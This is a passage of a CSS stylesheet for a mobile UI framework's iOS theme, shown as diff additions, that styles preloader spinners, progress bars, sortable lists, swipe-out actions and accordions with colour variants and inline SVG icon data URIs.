'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-gray, +.ios .preloader.preloader-gray { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%238e8e93'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-white, +.ios .preloader.preloader-white { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23ffffff'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +.ios .preloader.color-black, +.ios .preloader.preloader-black { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%20120%20120'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20xmlns%3Axlink%3D'http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink'%3E%3Cdefs%3E%3Cline%20id%3D'l'%20x1%3D'60'%20x2%3D'60'%20y1%3D'7'%20y2%3D'27'%20stroke%3D'%23000000'%20stroke-width%3D'11'%20stroke-linecap%3D'round'%2F%3E%3C%2Fdefs%3E%3Cg%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(30%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(60%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(90%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(120%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.27'%20transform%3D'rotate(150%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.37'%20transform%3D'rotate(180%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.46'%20transform%3D'rotate(210%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.56'%20transform%3D'rotate(240%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.66'%20transform%3D'rotate(270%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.75'%20transform%3D'rotate(300%2060%2C60)'%2F%3E%3Cuse%20xlink%3Ahref%3D'%23l'%20opacity%3D'.85'%20transform%3D'rotate(330%2060%2C60)'%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E"); +} +@-webkit-keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +@keyframes ios-preloader-spin { + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); + } +} +/* === Progressbar === */ +.progressbar, +.progressbar-infinite { + width: 100%; + overflow: hidden; + position: relative; + display: block; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +body > .progressbar, +.view > .progressbar, +.views > .progressbar, +.page > .progressbar, +.panel > .progressbar, +.popup > .progressbar, +.framework7-root > .progressbar, +body > .progressbar-infinite, +.view > .progressbar-infinite, +.views > .progressbar-infinite, +.page > .progressbar-infinite, +.panel > .progressbar-infinite, +.popup > .progressbar-infinite, +.framework7-root > .progressbar-infinite { + position: absolute; + left: 0; + top: 0; + z-index: 15000; + border-radius: 0 !important; + -webkit-transform-origin: center top !important; + transform-origin: center top !important; +} +.with-statusbar.device-ios body > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-ios .framework7-root > .progressbar, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-ios body > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-ios .framework7-root > .progressbar-infinite, +.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 20px; +} +.with-statusbar.device-android body > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar, +.with-statusbar.device-android .framework7-root > .progressbar, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar, +.with-statusbar.device-android body > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) body > .progressbar-infinite, +.with-statusbar.device-android .framework7-root > .progressbar-infinite, +.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root > .progressbar-infinite { + top: 24px; +} +.with-statusbar.device-iphone-x body > .progressbar, +.with-statusbar.device-iphone-x .framework7-root > .progressbar, +.with-statusbar.device-iphone-x body > .progressbar-infinite, +.with-statusbar.device-iphone-x .framework7-root > .progressbar-infinite { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +.progressbar { + vertical-align: middle; +} +.progressbar span { + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.progressbar-infinite:before, +.progressbar-infinite:after { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform-origin: left center; + transform-origin: left center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + display: block; +} +.progressbar-infinite.color-multi { + background: none !important; +} +.progressbar-in { + -webkit-animation: progressbar-in 150ms forwards; + animation: progressbar-in 150ms forwards; +} +.progressbar-out { + -webkit-animation: progressbar-out 150ms forwards; + animation: progressbar-out 150ms forwards; +} +@-webkit-keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@keyframes progressbar-in { + from { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } + to { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } +} +@-webkit-keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +@keyframes progressbar-out { + from { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + } + to { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0); + } +} +.ios .progressbar, +.ios .progressbar-infinite { + height: 2px; + background: #b6b6b6; + -webkit-transform-origin: center top; + transform-origin: center top; + border-radius: 2px; +} +.ios .progressbar span { + background: #007aff; +} +.ios .progressbar-infinite:before { + content: ''; + background: #007aff; + -webkit-animation: ios-progressbar-infinite 1s linear infinite; + animation: ios-progressbar-infinite 1s linear infinite; +} +.ios .progressbar-infinite.color-multi:before { + width: 400%; + background-image: -webkit-gradient(linear, left top, right top, from(#4cd964), color-stop(#5ac8fa), color-stop(#007aff), color-stop(#34aadc), color-stop(#5856d6), color-stop(#ff2d55), color-stop(#5856d6), color-stop(#34aadc), color-stop(#007aff), color-stop(#5ac8fa), to(#4cd964)); + background-image: -webkit-linear-gradient(left, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-image: linear-gradient(to right, #4cd964, #5ac8fa, #007aff, #34aadc, #5856d6, #ff2d55, #5856d6, #34aadc, #007aff, #5ac8fa, #4cd964); + background-size: 25% 100%; + background-repeat: repeat-x; + -webkit-animation: ios-progressbar-infinite-multicolor 3s linear infinite; + animation: ios-progressbar-infinite-multicolor 3s linear infinite; +} +.ios .color-theme-red .progressbar span { + background: #ff3b30; +} +.ios .color-theme-red .progressbar-infinite:before { + background: #ff3b30; +} +.ios .color-theme-green .progressbar span { + background: #4cd964; +} +.ios .color-theme-green .progressbar-infinite:before { + background: #4cd964; +} +.ios .color-theme-blue .progressbar span { + background: #007aff; +} +.ios .color-theme-blue .progressbar-infinite:before { + background: #007aff; +} +.ios .color-theme-pink .progressbar span { + background: #ff2d55; +} +.ios .color-theme-pink .progressbar-infinite:before { + background: #ff2d55; +} +.ios .color-theme-yellow .progressbar span { + background: #ffcc00; +} +.ios .color-theme-yellow .progressbar-infinite:before { + background: #ffcc00; +} +.ios .color-theme-orange .progressbar span { + background: #ff9500; +} +.ios .color-theme-orange .progressbar-infinite:before { + background: #ff9500; +} +.ios .color-theme-gray .progressbar span { + background: #8e8e93; +} +.ios .color-theme-gray .progressbar-infinite:before { + background: #8e8e93; +} +.ios .color-theme-white .progressbar span { + background: #ffffff; +} +.ios .color-theme-white .progressbar-infinite:before { + background: #ffffff; +} +.ios .color-theme-black .progressbar span { + background: #000000; +} +.ios .color-theme-black .progressbar-infinite:before { + background: #000000; +} +.ios .progressbar.color-red span { + background: #ff3b30; +} +.ios .progressbar-infinite.color-red:before { + background: #ff3b30; +} +.ios .progressbar.color-green span { + background: #4cd964; +} +.ios .progressbar-infinite.color-green:before { + background: #4cd964; +} +.ios .progressbar.color-blue span { + background: #007aff; +} +.ios .progressbar-infinite.color-blue:before { + background: #007aff; +} +.ios .progressbar.color-pink span { + background: #ff2d55; +} +.ios .progressbar-infinite.color-pink:before { + background: #ff2d55; +} +.ios .progressbar.color-yellow span { + background: #ffcc00; +} +.ios .progressbar-infinite.color-yellow:before { + background: #ffcc00; +} +.ios .progressbar.color-orange span { + background: #ff9500; +} +.ios .progressbar-infinite.color-orange:before { + background: #ff9500; +} +.ios .progressbar.color-gray span { + background: #8e8e93; +} +.ios .progressbar-infinite.color-gray:before { + background: #8e8e93; +} +.ios .progressbar.color-white span { + background: #ffffff; +} +.ios .progressbar-infinite.color-white:before { + background: #ffffff; +} +.ios .progressbar.color-black span { + background: #000000; +} +.ios .progressbar-infinite.color-black:before { + background: #000000; +} +@-webkit-keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-progressbar-infinite { + 0% { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); + } + 100% { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +@keyframes ios-progressbar-infinite-multicolor { + 0% { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } + 100% { + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); + } +} +/* === Sortable === */ +.sortable .sortable-handler { + position: absolute; + top: 0; + bottom: 1px; + z-index: 10; + background-repeat: no-repeat; + background-size: 18px 12px; + opacity: 0; + pointer-events: none; + cursor: move; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + left: 0; + background-position: 0% 50%; +} +.sortable .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable li.sorting { + z-index: 50; + background: rgba(255, 255, 255, 0.8); + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.sortable li.sorting .item-inner:after { + display: none !important; +} +.sortable-sorting li { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.sortable-enabled .sortable-handler { + pointer-events: auto; + opacity: 1; + background-position: 50% 50%; +} +.sortable-enabled .item-link .item-inner, +.sortable-enabled .item-link .item-title-row { + background-image: none !important; +} +.theme-dark .sortable li.sorting, +.sortable.theme-dark li.sorting { + background-color: rgba(50, 50, 50, 0.8); +} +.ios .sortable-handler { + width: 35px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2018%2012'%20fill%3D'%23c7c7cc'%3E%3Cpath%20d%3D'M0%2C2V0h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C7V5h22v2H0z'%2F%3E%3Cpath%20d%3D'M0%2C12v-2h22v2H0z'%2F%3E%3C%2Fsvg%3E"); +} +.ios .sortable li.sorting { + -webkit-box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); + box-shadow: 0px 2px 8px rgba(0, 0, 0, 0.6); +} +.ios .sortable-enabled .item-inner, +.ios .sortable-enabled .item-link .item-inner { + padding-left: 35px; +} +.ios .list.sortable-enabled .item-link.no-chevron .item-inner, +.ios .list.sortable-enabled.no-chevron .item-link .item-inner, +.ios .list.sortable-enabled .no-chevron .item-link .item-inner, +.ios .no-chevron .list.sortable-enabled .item-link .item-inner { + padding-left: 35px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .sortable-handler, + .ios.device-iphone-x .ios-edges .sortable-handler, + .ios.device-iphone-x .popup .sortable-handler, + .ios.device-iphone-x .sheet-modal .sortable-handler, + .ios.device-iphone-x .panel-left .sortable-handler { + left: constant(safe-area-inset-left); + left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner, + .ios.device-iphone-x .ios-left-edge .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .ios-edges .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .popup .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .sheet-modal .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner, + .ios.device-iphone-x .panel-left .sortable-enabled:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner { + padding-left: calc(35px + constant(safe-area-inset-right)); + padding-left: calc(35px + env(safe-area-inset-right)); + } +} +/* === Swipeout === */ +.swipeout { + overflow: hidden; + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swipeout-deleting { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.swipeout-deleting .swipeout-content { + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-transitioning .swipeout-content, +.swipeout-transitioning .swipeout-actions-right a, +.swipeout-transitioning .swipeout-actions-left a, +.swipeout-transitioning .swipeout-overswipe { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: left, -webkit-transform; + transition-property: left, -webkit-transform; + transition-property: transform, left; + transition-property: transform, left, -webkit-transform; +} +.swipeout-content { + position: relative; + z-index: 10; +} +.swipeout-overswipe { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-property: left; + transition-property: left; +} +.swipeout-actions-left, +.swipeout-actions-right { + position: absolute; + top: 0; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + direction: ltr; +} +.swipeout-actions-left > a, +.swipeout-actions-right > a, +.swipeout-actions-left > button, +.swipeout-actions-right > button, +.swipeout-actions-left > span, +.swipeout-actions-right > span, +.swipeout-actions-left > div, +.swipeout-actions-right > div { + color: #fff; + background: #c7c7cc; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + position: relative; + left: 0; +} +.swipeout-actions-left > a:after, +.swipeout-actions-right > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-right > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-right > span:after, +.swipeout-actions-left > div:after, +.swipeout-actions-right > div:after { + content: ''; + position: absolute; + top: 0; + width: 600%; + height: 100%; + background: inherit; + z-index: -1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.swipeout-actions-right { + right: 0%; + -webkit-transform: translateX(100%); + transform: translateX(100%); +} +.swipeout-actions-right > a:after, +.swipeout-actions-right > button:after, +.swipeout-actions-right > span:after, +.swipeout-actions-right > div:after { + left: 100%; + margin-left: -1px; +} +.swipeout-actions-left { + left: 0%; + -webkit-transform: translateX(-100%); + transform: translateX(-100%); +} +.swipeout-actions-left > a:after, +.swipeout-actions-left > button:after, +.swipeout-actions-left > span:after, +.swipeout-actions-left > div:after { + right: 100%; + margin-right: -1px; +} +.ios .swipeout-actions-left > a, +.ios .swipeout-actions-right > a, +.ios .swipeout-actions-left > button, +.ios .swipeout-actions-right > button, +.ios .swipeout-actions-left > span, +.ios .swipeout-actions-right > span, +.ios .swipeout-actions-left > div, +.ios .swipeout-actions-right > div { + padding: 0 30px; + color: #fff; +} +.ios .swipeout-actions-left .swipeout-delete, +.ios .swipeout-actions-right .swipeout-delete { + background: #ff3b30; +} +.ios .swipeout-actions-left > a.color-red, +.ios .swipeout-actions-right > a.color-red, +.ios .swipeout-actions-left > button.color-red, +.ios .swipeout-actions-right > button.color-red, +.ios .swipeout-actions-left > span.color-red, +.ios .swipeout-actions-right > span.color-red, +.ios .swipeout-actions-left > div.color-red, +.ios .swipeout-actions-right > div.color-red { + background-color: #ff3b30; +} +.ios .swipeout-actions-left > a.color-green, +.ios .swipeout-actions-right > a.color-green, +.ios .swipeout-actions-left > button.color-green, +.ios .swipeout-actions-right > button.color-green, +.ios .swipeout-actions-left > span.color-green, +.ios .swipeout-actions-right > span.color-green, +.ios .swipeout-actions-left > div.color-green, +.ios .swipeout-actions-right > div.color-green { + background-color: #4cd964; +} +.ios .swipeout-actions-left > a.color-blue, +.ios .swipeout-actions-right > a.color-blue, +.ios .swipeout-actions-left > button.color-blue, +.ios .swipeout-actions-right > button.color-blue, +.ios .swipeout-actions-left > span.color-blue, +.ios .swipeout-actions-right > span.color-blue, +.ios .swipeout-actions-left > div.color-blue, +.ios .swipeout-actions-right > div.color-blue { + background-color: #007aff; +} +.ios .swipeout-actions-left > a.color-pink, +.ios .swipeout-actions-right > a.color-pink, +.ios .swipeout-actions-left > button.color-pink, +.ios .swipeout-actions-right > button.color-pink, +.ios .swipeout-actions-left > span.color-pink, +.ios .swipeout-actions-right > span.color-pink, +.ios .swipeout-actions-left > div.color-pink, +.ios .swipeout-actions-right > div.color-pink { + background-color: #ff2d55; +} +.ios .swipeout-actions-left > a.color-yellow, +.ios .swipeout-actions-right > a.color-yellow, +.ios .swipeout-actions-left > button.color-yellow, +.ios .swipeout-actions-right > button.color-yellow, +.ios .swipeout-actions-left > span.color-yellow, +.ios .swipeout-actions-right > span.color-yellow, +.ios .swipeout-actions-left > div.color-yellow, +.ios .swipeout-actions-right > div.color-yellow { + background-color: #ffcc00; +} +.ios .swipeout-actions-left > a.color-orange, +.ios .swipeout-actions-right > a.color-orange, +.ios .swipeout-actions-left > button.color-orange, +.ios .swipeout-actions-right > button.color-orange, +.ios .swipeout-actions-left > span.color-orange, +.ios .swipeout-actions-right > span.color-orange, +.ios .swipeout-actions-left > div.color-orange, +.ios .swipeout-actions-right > div.color-orange { + background-color: #ff9500; +} +.ios .swipeout-actions-left > a.color-gray, +.ios .swipeout-actions-right > a.color-gray, +.ios .swipeout-actions-left > button.color-gray, +.ios .swipeout-actions-right > button.color-gray, +.ios .swipeout-actions-left > span.color-gray, +.ios .swipeout-actions-right > span.color-gray, +.ios .swipeout-actions-left > div.color-gray, +.ios .swipeout-actions-right > div.color-gray { + background-color: #8e8e93; +} +.ios .swipeout-actions-left > a.color-white, +.ios .swipeout-actions-right > a.color-white, +.ios .swipeout-actions-left > button.color-white, +.ios .swipeout-actions-right > button.color-white, +.ios .swipeout-actions-left > span.color-white, +.ios .swipeout-actions-right > span.color-white, +.ios .swipeout-actions-left > div.color-white, +.ios .swipeout-actions-right > div.color-white { + background-color: #ffffff; +} +.ios .swipeout-actions-left > a.color-black, +.ios .swipeout-actions-right > a.color-black, +.ios .swipeout-actions-left > button.color-black, +.ios .swipeout-actions-right > button.color-black, +.ios .swipeout-actions-left > span.color-black, +.ios .swipeout-actions-right > span.color-black, +.ios .swipeout-actions-left > div.color-black, +.ios .swipeout-actions-right > div.color-black { + background-color: #000000; +} +/* === Accordion === */ +.accordion-item-toggle { + cursor: pointer; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-toggle.active-state > .item-inner:after { + background-color: transparent; +} +.accordion-item-toggle .item-inner { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.accordion-item-toggle .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .item-link .item-inner:after { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item .list, +.accordion-item .block { + margin-top: 0; + margin-bottom: 0; +} +.accordion-item .block > h1:first-child, +.accordion-item .block > h2:first-child, +.accordion-item .block > h3:first-child, +.accordion-item .block > h4:first-child, +.accordion-item .block > p:first-child { + margin-top: 10px; +} +.accordion-item .block > h1:last-child, +.accordion-item .block > h2:last-child, +.accordion-item .block > h3:last-child, +.accordion-item .block > h4:last-child, +.accordion-item .block > p:last-child { + margin-bottom: 10px; +} +.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-right: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.ios .list .accordion-item-toggle .item-inner { + background-size: 8px 13px; + padding-left: 35px; + background-repeat: no-repeat; + background-position: 15px center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .list .accordion-item-toggle.active-state { + background-color: #d9d9d9; +} +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.ios .theme-dark .list .accordion-item-toggle .item-inner { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.ios .theme-dark .list .accordion-item-toggle.active-state { + background-color: #363636; +} +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.ios .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.ios .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.ios .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.ios .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.ios .theme-dark .links-list .accordion-item-opened > a { + background-image: 